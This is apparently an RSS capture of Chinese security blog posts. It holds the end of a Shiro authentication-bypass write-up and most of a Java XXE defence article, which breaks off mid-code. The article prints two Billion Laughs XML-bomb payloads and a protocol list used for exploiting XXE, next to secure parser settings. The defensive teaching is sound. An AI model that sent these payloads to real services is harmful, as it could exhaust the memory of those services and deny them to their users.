src="https://wechat2rss.xlab.app/img-proxy/?k=d6e3dfa7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtJPMx1qDxj9dMbMu5buBpMhBqg0RiaND3q6icDTFOxXeB69hnhxP1wNgA%2F640%3Fwx_fmt%3Dpng"/></p><p>从而导致绕过。</p><p><span style="font-weight: bold;font-size: 28px;">后记</span></p><p>网上还有一些poc与自己复现时不一样，大概看了一下应该是不同版本对某些路由中的符号处理不同，可看这一篇：</p><p><a href="https://xz.aliyun.com/t/8281" target="_blank">https://xz.aliyun.com/t/8281</a><br/></p><p>参考：</p><p><span style="color: rgb(0, 56, 132);"><a href="https://github.com/jweny/shiro-cve-2020-17523" target="_blank">https://github.com/jweny/shiro-cve-2020-17523</a></span></p><p><span style="color: rgb(0, 56, 132);"><a href="https://www.cnblogs.com/waycx/p/12800393.html" target="_blank">https://www.cnblogs.com/waycx/p/12800393.html</a></span></p></article><p><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483941">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9c83b256&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247483941%26idx%3D1%26sn%3D01265e369b65cde2acf999b3432c84e4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 29 Nov 2022 00:22:00 +0800</pubDate>
    </item>
    <item>
      <title>浅谈XXE防御(Java)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247483908&amp;idx=1&amp;sn=7c3eca330b316c6f35ea19dcce2ec777</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>深蓝</span> <span>2022-11-14 00:02</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7349f58a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaic1EfWTBTvO6V7xb8sHcdnia7ewrvVYkalGwiazR334icdccicR1RLbMS7g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 18px;font-weight: bold;">前言</span></p><p>很久没写文章了，之前做了一些XXE的调研，把记录的东西整理了一下。</p><p><span style="font-weight: bold;font-size: 20px;">正文</span></p><p><span style="font-size: 18px;font-weight: bold;">1.漏洞简介</span></p><p><span style="color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-family: Arial;">XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。</span></p><p><span style="color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-family: Arial;">XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明，也可以外部引用。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?</span>xml version=”<span class="code-snippet__number">1.0</span>”&gt;           <span class="code-snippet__comment">//xml声明</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">&lt;!DOCTYPE  note [</span></code><code><span class="code-snippet_outer">&lt;!ELEMENT note (to, from, heading, body)&gt;</span></code><code><span class="code-snippet_outer">&lt;!ELEMENT to   (<span class="code-snippet__comment">#PCDATA)&gt;                     //文档类型定义</span></span></code><code><span class="code-snippet_outer">&lt;!ELEMENT from (<span class="code-snippet__comment">#PCDATA)&gt;</span></span></code><code><span class="code-snippet_outer">&lt;!ELEMENT heading (<span class="code-snippet__comment">#PCDATA)&gt;</span></span></code><code><span class="code-snippet_outer">&lt;!ELEMENT body   (<span class="code-snippet__comment">#PCDATA)&gt;</span></span></code><code><span class="code-snippet_outer">]&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">&lt;note&gt;</span></code><code><span class="code-snippet_outer">&lt;to&gt;George&lt;/to&gt;</span></code><code><span class="code-snippet_outer">&lt;from&gt;John&lt;/from&gt;                                 <span class="code-snippet__comment">//文档元素</span></span></code><code><span class="code-snippet_outer">&lt;heading&gt;Reminder&lt;/heading&gt;</span></code><code><span class="code-snippet_outer">&lt;body&gt;Don’t forget the meeting&lt;/body&gt;</span></code></pre></section><p><span style="font-weight: bold;font-size: 16px;">1.1 XXE漏洞原理</span></p><p>XXE Injection （XML External Entity Injection，XML 外部实体注入攻击）攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。对于XXE漏洞最为关键的部分是DTD文档类型，DTD 的作用是定义 XML 文档的合法构建模块。当允许引用外部实体时，通过恶意构造，可以导致任意文件读取、执行系统命令、探测内网端口、攻击内网网站等危害。DTD 可以在 XML 文档内声明，也可以外部引用。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">内部声明 DTD             </span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;!DOCTYPE 根元素 [元素声明]&gt;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">引用外部 DTD                 </span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;!DOCTYPE 根元素 PBULIC &#34;public_ID&#34; &#34;文件名&#34;&gt;</span></span></code><code><span class="code-snippet_outer">/或者</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;!DOCTYPE 根元素 SYSTEM &#34;文件名&#34;&gt;</span></span></code></pre></section><p><span style="font-size: 16px;font-weight: bold;">1.2 XXE漏洞利用</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">libxml2</span>：<span class="code-snippet__selector-tag">file</span>、<span class="code-snippet__selector-tag">http</span>、<span class="code-snippet__selector-tag">ftp</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">PHP</span>：<span class="code-snippet__selector-tag">file</span>、<span class="code-snippet__selector-tag">http</span>、<span class="code-snippet__selector-tag">ftp</span>、<span class="code-snippet__selector-tag">php</span>、<span class="code-snippet__selector-tag">compress</span><span class="code-snippet__selector-class">.zlib</span>、<span class="code-snippet__selector-tag">compress</span><span class="code-snippet__selector-class">.bzip2</span>、<span class="code-snippet__selector-tag">data</span>、<span class="code-snippet__selector-tag">glob</span>、<span class="code-snippet__selector-tag">phar</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">Java</span>：<span class="code-snippet__selector-tag">file</span>、<span class="code-snippet__selector-tag">http</span>、<span class="code-snippet__selector-tag">ftp</span>、<span class="code-snippet__selector-tag">https</span>、<span class="code-snippet__selector-tag">jar</span>、<span class="code-snippet__selector-tag">netdoc</span>、<span class="code-snippet__selector-tag">mailto</span>、<span class="code-snippet__selector-tag">gopher</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-class">.NET</span>：<span class="code-snippet__selector-tag">file</span>、<span class="code-snippet__selector-tag">http</span>、<span class="code-snippet__selector-tag">ftp</span>、<span class="code-snippet__selector-tag">https</span></span></code></pre></section><p><span style="font-size: 16px;font-weight: bold;">1.3 DDOS</span></p><p>XML document type definition (DTD)可以定义entity，DTD可以出现在外部文件或文件内部。利用DTD可以产生XML炸弹，也就是能迅速占用大量内存的文件，如下为例：当XML解析器尝试解析该文件时，由于DTD的定义指数级展开，这个1K不到的文件会占用到3G的内存。</p><p>循环调用：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34;?&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;!DOCTYPE lolz [</span></span></code><code><span class="code-snippet_outer">&lt;!ENTITY lol &#34;lol&#34;&gt;</span></code><code><span class="code-snippet_outer">&lt;!ENTITY lol2 &#34;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&#34;&gt;</span></code><code><span class="code-snippet_outer">&lt;!ENTITY lol3 &#34;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&#34;&gt;</span></code><code><span class="code-snippet_outer">&lt;!ENTITY lol4 &#34;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&#34;&gt;</span></code><code><span class="code-snippet_outer">&lt;!ENTITY lol5 &#34;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&amp;lol4;&#34;&gt;</span></code><code><span class="code-snippet_outer">&lt;!ENTITY lol6 &#34;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&#34;&gt;</span></code><code><span class="code-snippet_outer">&lt;!ENTITY lol7 &#34;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&#34;&gt;</span></code><code><span class="code-snippet_outer">&lt;!ENTITY lol8 &#34;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&#34;&gt;</span></code><code><span class="code-snippet_outer">&lt;!ENTITY lol9 &#34;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&#34;&gt;</span></code><code><span class="code-snippet_outer">]&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">lolz</span>&gt;</span>&amp;lol9;<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">lolz</span>&gt;</span></span></code></pre></section><p>数据膨胀：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34;?&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;!DOCTYPE lolz [</span></span></code><code><span class="code-snippet_outer">&lt;!ENTITY lol &#34;lollollollollollollollollollollolollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollolloollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollolloollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollolloollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollolloollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollolloollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollolllollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol&#34;&gt;</span></code><code><span class="code-snippet_outer">]&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">lolz</span>&gt;</span>&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">lolz</span>&gt;</span></span></code></pre></section><p><span style="font-size: 18px;font-weight: bold;">2.</span><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-size: 18px;font-family: Arial;font-weight: bold;">XMLParser</span></p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">XMLParser又根据实现不同分为了：</span></p><ul yne-block-type="list" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(51, 51, 51);font-family: Arial;list-style-type: disc;"><p><span style="background-color: rgb(255, 255, 255);">DOM</span></p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(51, 51, 51);font-family: Arial;list-style-type: disc;"><p><span style="background-color: rgb(255, 255, 255);">SAX</span></p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(51, 51, 51);font-family: Arial;list-style-type: disc;"><p><span style="background-color: rgb(255, 255, 255);">JDOM</span></p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(51, 51, 51);font-family: Arial;list-style-type: disc;"><p><span style="background-color: rgb(255, 255, 255);">DOM4J</span></p></li></ul><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">具体区别请参考网上资料，下面我们主要看看DOM和SAX。</span></p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">但是在继续之前我们需要了解XMLParser中的一个特性，Feature。</span></p><p><span style="font-size: 16px;"></span></p><p><span style="font-size: 16px;font-weight: bold;">setFeature</span></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="112" data-source-title=""><section class="js_blockquote_digest"><section>Each XML processor implementation has its own features that govern how DTDs and external entities are processed.</section></section></blockquote><p><br/></p><p>每个XML处理器均允许我们使用Feature来控制DTD和外部实体的解析。</p><p>可以理解为一些官方配置，用于控制DTD解析逻辑。</p><p>看看其中两个比较常用的Feature：</p><p><span style="font-size: 16px;">disallow-doctype-decl定义：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function">General Guidance</span></span></code><code><span class="code-snippet_outer">The safest way to prevent XXE <span class="code-snippet__keyword">is</span> always to disable <span class="code-snippet__title">DTDs</span> (<span class="code-snippet__params">External Entities</span>) completely. Depending <span class="code-snippet__keyword">on</span> the parser, the method should be similar to the following:</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">factory.<span class="code-snippet__title">setFeature</span>(<span class="code-snippet__params"><span class="code-snippet__string">&#34;<a href="http://apache.org/xml/features/disallow-doctype-decl" target="_blank">http://apache.org/xml/features/disallow-doctype-decl</a>&#34;</span>, <span class="code-snippet__literal">true</span></span>)</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function">Disabling DTDs also makes the parser secure against denial of <span class="code-snippet__title">services</span> (<span class="code-snippet__params">DOS</span>) attacks such <span class="code-snippet__keyword">as</span> Billion Laughs. If it <span class="code-snippet__keyword">is</span> not possible to disable DTDs completely, then external entities and external document type declarations must be disabled <span class="code-snippet__keyword">in</span> the way that&#39;s specific to each parser.</span></span></code><code><span class="code-snippet_outer">Detailed XXE Prevention guidance <span class="code-snippet__keyword">for</span> a number of languages and commonly used XML parsers <span class="code-snippet__keyword">in</span> those languages <span class="code-snippet__keyword">is</span> provided below.</span></code></pre></section><p>该设置将完全禁止外部DTD的加载。也就是官方推荐防御XXE最好的解决办法。</p><p>FEATURE_SECURE_PROCESSING：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">FEATURE_SECURE_PROCESSING</span></code><code><span class="code-snippet_outer">public static final String FEATURE_SECURE_PROCESSING</span></code><code><span class="code-snippet_outer">Feature for secure processing.</span></code><code><span class="code-snippet_outer">true instructs the implementation to process XML securely. This may <span class="code-snippet__keyword">set</span> limits <span class="code-snippet__keyword">on</span> <span class="code-snippet__keyword">XML</span> constructs <span class="code-snippet__keyword">to</span> avoid conditions such <span class="code-snippet__keyword">as</span> denial <span class="code-snippet__keyword">of</span> service attacks.</span></code><code><span class="code-snippet_outer"><span class="code-snippet__literal">false</span> instructs the implementation <span class="code-snippet__keyword">to</span> process <span class="code-snippet__keyword">XML</span> <span class="code-snippet__keyword">in</span> accordance <span class="code-snippet__keyword">with</span> the <span class="code-snippet__keyword">XML</span> specifications ignoring <span class="code-snippet__keyword">security</span> issues such <span class="code-snippet__keyword">as</span> limits <span class="code-snippet__keyword">on</span> <span class="code-snippet__keyword">XML</span> constructs <span class="code-snippet__keyword">to</span> avoid conditions such <span class="code-snippet__keyword">as</span> denial <span class="code-snippet__keyword">of</span> service attacks.</span></code><code><span class="code-snippet_outer">See Also:</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">Constant</span> <span class="code-snippet__keyword">Field</span> <span class="code-snippet__keyword">Values</span></span></code></pre></section><p>将外部实体中允许的协议设为空，相当于允许外部实体的加载，但是禁用协议，只允许一些常量的定义。</p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-size: 16px;font-family: Arial;font-weight: bold;">DOMParser</span></p><p><span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-family: Arial;">以如下代码为例看看Feature的作用：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">doGet</span>(<span class="code-snippet__params">HttpServletRequest request, HttpServletResponse response</span>) throws ServletException, IOException</span> {</span></code><code><span class="code-snippet_outer">        String result=<span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (request.getContentType().contains(<span class="code-snippet__string">&#34;xml&#34;</span>)||request.){</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//DOM</span></span></code><code><span class="code-snippet_outer">            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();</span></code><code><span class="code-snippet_outer">            factory.setFeature(<span class="code-snippet__string">&#34;<a href="http://apache.org/xml/features/disallow-doctype-decl" target="_blank">http://apache.org/xml/features/disallow-doctype-decl</a>&#34;</span>, <span class="code-snippet__literal">true</span>);  <span class="code-snippet__comment">// 禁用DTDs (doctypes),几乎可以防御所有xml实体攻击。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            String FEATURE = XMLConstants.FEATURE_SECURE_PROCESSING;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true);</span></span></code><code><span class="code-snippet_outer">            DocumentBuilder builder = factory.newDocumentBuilder();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            String[] wlist =  (String[])getField(getField(builder,&#34;fSecurityPropertyMgr&#34;),&#34;values&#34;);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            wlist[0] = &#34;http,ftp&#34;;</span></span></code><code><span class="code-snippet_outer">            Document d = builder.parse(request.getInputStream());</span></code><code><span class="code-snippet_outer">            String c = getValueByTagName(d,<span class="code-snippet__string">&#34;c&#34;</span>);</span></code><code><span class="code-snippet_outer">            result  = c;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (ParserConfigurationException e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (SAXException e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        response.setContentType(<span class="code-snippet__string">&#34;text/xml;charset=UTF-8&#34;</span>);</span></code><code><span class="code-snippet_outer">        response.getWriter().append(result);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    